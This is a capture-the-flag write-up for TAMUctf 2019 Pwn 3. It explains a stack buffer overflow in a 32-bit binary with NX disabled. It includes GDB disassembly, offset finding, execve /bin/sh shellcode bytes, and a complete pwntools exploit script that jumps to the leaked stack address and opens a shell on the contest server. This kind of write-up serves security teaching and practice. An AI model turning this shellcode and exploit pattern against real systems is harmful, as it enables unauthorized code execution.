TAMUctf 2019 Pwn Write-up 3 of 6
Part 3 of my TAMUctf pwn write-up series.
Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy |
Pwn 3 Solution (Difficulty: Easy, 387 pts.)
This challenge tackles stack buffer overflow leading to a shellcode execution.
Let’s try to run the binary.
Again, the first part of the program prompted a statement, and asked for an input. But there is something notable on this statement. It says that we might need the given address in order to solve the problem. Let’s take note of that.
Now, let’s try to enter a very long string.
We got a segmentation fault! Let’s inspect the core dump generated by this program crash.
It looks like we have overwritten the return address with 0x41414141
or AAAA
in ascii. We need to determine the length of our buffer before we can overwrite the return address.
We can use a tool like https://github.com/Svenito/exploit-pattern to make our lives easier.
Let’s generate a long string pattern.
Let’s use the pattern to trigger the program crash.
We got 0x316b4130
. Let’s use this value to determine the offset.
We got 302 as the offset needed before we overwrite the return address.
With these data, we can now control the program flow. But where do we want to jump after the return address? Let’s go back to the drawing board.
Let’s check the properties of the binary to have an idea on what we can do on this binary.
NX is disabled.
Obviously, canary is disabled since we are able to overwrite the return address. But there is something notable here. NX or No-Execute marks certain areas of memory as non-executable. Basically, this property prevents execution of shellcodes. Since this property is disabled, we can insert and execute a shellcode on this program. Our next problem is where should we insert the shellcode.
Let’s go back and dissect the main function to have a better understanding of the program flow:
Dump of assembler code for function main:
0x565555e3 <+0>: lea ecx,[esp+0x4]
0x565555e7 <+4>: and esp,0xfffffff0
0x565555ea <+7>: push DWORD PTR [ecx-0x4]
0x565555ed <+10>: push ebp
0x565555ee <+11>: mov ebp,esp
0x565555f0 <+13>: push ebx
0x565555f1 <+14>: push ecx
0x565555f2 <+15>: call 0x56555629 <__x86.get_pc_thunk.ax>
0x565555f7 <+20>: add eax,0x19d5
0x565555fc <+25>: mov edx,DWORD PTR [eax+0x28]
0x56555602 <+31>: mov edx,DWORD PTR [edx]
0x56555604 <+33>: push 0x0
0x56555606 <+35>: push 0x0
0x56555608 <+37>: push 0x2
0x5655560a <+39>: push edx
0x5655560b <+40>: mov ebx,eax
0x5655560d <+42>: call 0x56555440 <setvbuf@plt>
0x56555612 <+47>: add esp,0x10
0x56555615 <+50>: call 0x5655559d <echo> ` (1)
0x5655561a <+55>: mov eax,0x0
0x5655561f <+60>: lea esp,[ebp-0x8]
0x56555622 <+63>: pop ecx
0x56555623 <+64>: pop ebx
0x56555624 <+65>: pop ebp
0x56555625 <+66>: lea esp,[ecx-0x4]
0x56555628 <+69>: ret
End of assembler dump.
Most of the instructions are just for the initialization of the program. But there is one notable function that we can expand, the echo
function.
Disassembling the echo function gives us the following data:
Dump of assembler code for function echo:
0x5655559d <+0>: push ebp
0x5655559e <+1>: mov ebp,esp
0x565555a0 <+3>: push ebx
0x565555a1 <+4>: sub esp,0x134
0x565555a7 <+10>: call 0x565554a0 <__x86.get_pc_thunk.bx>
0x565555ac <+15>: add ebx,0x1a20
0x565555b2 <+21>: sub esp,0x8
0x565555b5 <+24>: lea eax,[ebp-0x12a]
0x565555bb <+30>: push eax
0x565555bc <+31>: lea eax,[ebx-0x191c]
0x565555c2 <+37>: push eax
0x565555c3 <+38>: call 0x56555410 <printf@plt> ` (1)
0x565555c8 <+43>: add esp,0x10
0x565555cb <+46>: sub esp,0xc
0x565555ce <+49>: lea eax,[ebp-0x12a]
0x565555d4 <+55>: push eax
0x565555d5 <+56>: call 0x56555420 <gets@plt> ` (2)
0x565555da <+61>: add esp,0x10
0x565555dd <+64>: nop
0x565555de <+65>: mov ebx,DWORD PTR [ebp-0x4]
0x565555e1 <+68>: leave
0x565555e2 <+69>: ret
End of assembler dump.
This is what we saw when we tried to run the program. These are the things that we can get from observing the data above:
(1) The program starts by printing a string that contains an address from the stack.
Pseudocode of how the printf function is executed:
printf("Take this, you might need it on your journey %p!n", &ebp-0x12a)
(2) The program also writes the user input to
$ebp-0x12a
which is the given address.
0x565555ce <+49>: lea eax,[ebp-0x12a] `*
0x565555d4 <+55>: push eax
0x565555d5 <+56>: call 0x56555420 <gets@plt>
With the following details, we can formulate this attack pattern:
- Get the value of `$ebp-0x12a`
- Insert shellcode to `$ebp-0x12a`
- Jump to shellcode by overwriting the return address with `$ebp-0x12a`
- Enjoy the shell
Our payload will look like this:
<shellcode> + <302 bytes buffer - shellcode length> + <given address>
We can use this 32-bit shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80
Sample exploit code:
./exploit.py
from pwn import *
r = remote("pwn.tamuctf.com",4323)
shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"
offset = 302
shell_addr = r.recvuntil("!").split(' ')[-1].replace('!','')
log.info("Shellcode address: {}".format(shell_addr))
shell_addr = int(shell_addr,16)
payload = ""
payload += shellcode
payload += "A"*(offset-len(shellcode))
payload += p32(shell_addr)
r.sendline(payload)
r.interactive()
Flag: gigem{r3m073_fl46_3x3cu710n}
-
Thank you for reading. Hope you learned something from this write-up. Feel free to drop any comments on this one.
— ar33zy